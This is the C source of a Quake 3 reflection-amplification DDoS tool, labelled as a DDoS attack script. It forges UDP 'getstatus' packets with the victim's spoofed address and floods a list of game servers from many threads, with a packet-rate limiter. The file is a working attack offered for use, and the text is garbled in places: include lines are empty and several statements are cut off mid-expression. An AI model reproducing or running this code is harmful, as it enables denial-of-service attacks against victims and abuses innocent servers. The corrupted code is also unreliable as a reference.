quake amp DDOS攻击.c

/* quake3 amplification script */

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#define MAX_PACKET_SIZE 8192
#define PHI 0x9e3779b9
static uint32_t Q[4096], c = 362436;
struct list
{
	struct sockaddr_in data;
	struct list *next;
	struct list *prev;
};
struct list *head;
volatile int tehport;
volatile int limiter;
volatile unsigned int pps;
volatile unsigned int sleeptime = 100;
struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
void init_rand(uint32_t x)
{
	int i;
	Q[0] = x;
	Q[1] = x + PHI;
	Q[2] = x + PHI + PHI;
	for (i = 3; i > 32);
	x = t + c;
	if (x  0; nwords--)
	sum += *buf++;
	sum = (sum >> 16) + (sum & 0xffff);
	sum += (sum >> 16);
	return (unsigned short)(~sum);
}
void setup_ip_header(struct iphdr *iph)
{
	iph->ihl = 5;
	iph->version = 4;
	iph->tos = 0;
	iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 14;
	iph->id = htonl(54321);
	iph->frag_off = 0;
	iph->ttl = MAXTTL;
	iph->protocol = IPPROTO_UDP;
	iph->check = 0;
	iph->saddr = inet_addr("192.168.3.100");
}
void setup_udp_header(struct udphdr *udph)
{
	udph->source = htons(5678);
	udph->dest = htons(27960);
	udph->check = 0;
	memcpy((void *)udph + sizeof(struct udphdr), "/xff/xff/xff/xff/x67/x65/x74/x73/x74/x61/x74/x75/x73/x0a", 14);
	udph->len=htons(sizeof(struct udphdr) + 14);
}
void *flood(void *par1)
{
	struct thread_data *td = (struct thread_data *)par1;
	char datagram[MAX_PACKET_SIZE];
	struct iphdr *iph = (struct iphdr *)datagram;
	struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
	struct sockaddr_in sin = td->sin;
	struct  list *list_node = td->list_node;
	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
	if(s source = htons(rand() % 65535 - 1026);
	iph->saddr = sin.sin_addr.s_addr;
	iph->daddr = list_node->data.sin_addr.s_addr;
	iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
	int tmp = 1;
	const int *val = &tmp;
	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
		list_node = list_node->next;
		iph->daddr = list_node->data.sin_addr.s_addr;
		iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
		iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
		
		pps++;
		if(i >= limiter)
		{
			i = 0;
			usleep(sleeptime);
		}
		i++;
	}
}
int main(int argc, char *argv[ ])
{
	if(argc < 6){
	fprintf(stderr, "Invalid parameters!/n");
	fprintf(stdout, "Usage: %s      /n", argv[0]);
		exit(-1);
	}
	srand(time(NULL));
	int i = 0;
	head = NULL;
	fprintf(stdout, "Setting up sockets.../n");
	int max_len = 128;
	char *buffer = (char *) malloc(max_len);
	buffer = memset(buffer, 0x00, max_len);
	int num_threads = atoi(argv[4]);
	int maxpps = atoi(argv[5]);
	limiter = 0;
	pps = 0;
	int multiplier = 20;
	FILE *list_fd = fopen(argv[3],  "r");
	while (fgets(buffer, max_len, list_fd) != NULL) {
		if ((buffer[strlen(buffer) - 1] == '/n') ||
				(buffer[strlen(buffer) - 1] == '/r')) {
			buffer[strlen(buffer) - 1] = 0x00;
			if(head == NULL)
			{
				head = (struct list *)malloc(sizeof(struct list));
				bzero(&head->data, sizeof(head->data));
				head->data.sin_addr.s_addr=inet_addr(buffer);
				head->next = head;
				head->prev = head;
			} else {
				struct list *new_node = (struct list *)malloc(sizeof(struct list));
				memset(new_node, 0x00, sizeof(struct list));
				new_node->data.sin_addr.s_addr=inet_addr(buffer);
				new_node->prev = head;
				new_node->next = head->next;
				head->next = new_node;
			}
			i++;
		} else {
			continue;
		}
	}
	struct list *current = head->next;
	pthread_t thread[num_threads];
	struct sockaddr_in sin;
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = inet_addr(argv[1]);
	struct thread_data td[num_threads];
	for(i = 0;i<num_threads;i++){
		td[i].thread_id = i;
		td[i].sin= sin;
		td[i].list_node = current;
		pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
	}
	fprintf(stdout, "Starting flood.../n");
	for(i = 0;i maxpps)
		{
			if(1 > limiter)
			{
				sleeptime+=100;
			} else {
				limiter--;
			}
		} else {
			limiter++;
			if(sleeptime > 25)
			{
				sleeptime-=25;
			} else {
				sleeptime = 0;
			}
		}
		pps = 0;
	}
	return 0;
}